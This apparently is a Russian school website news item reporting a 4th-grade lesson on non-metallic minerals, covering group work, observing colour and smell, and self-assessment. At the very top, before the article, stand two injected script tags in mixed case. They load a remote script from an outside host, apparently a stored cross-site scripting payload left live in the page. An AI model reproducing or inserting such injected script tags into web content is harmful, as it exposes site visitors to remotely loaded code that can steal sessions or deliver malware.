<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

13.11.2017

9 ноября  в 4  классе прошел урок познание мира  на тему: «Нерудные полезные ископаемые». Мотивация, проведенная в начале урока, сформировала у учащихся потребность изучения нового материала. Были актуализированы знания учащихся, с целью восстановить знания. Дети познакомились с полезными ископаемыми нерудного происхождения, их применением, свойствами. Ребята работали в группах. Каждая группа – это маленькая исследовательская 

лаборатория.  Учебный материал не давался в готовом виде. Ребята находились в постоянном поиске, Демонстраторы показывали полезные ископаемые. А лаборанты с помощниками должны определить, какого цвета полезное ископаемое, имеет  или не имеет запаха. Секретари заполняли таблицу. Проводились опыты с полезными ископаемыми. Ребята сделали вывод о том,  что все нерудные полезные ископаемые важны для человека. На этапе

рефлексии  каждый учащийся сам оценил свою работу.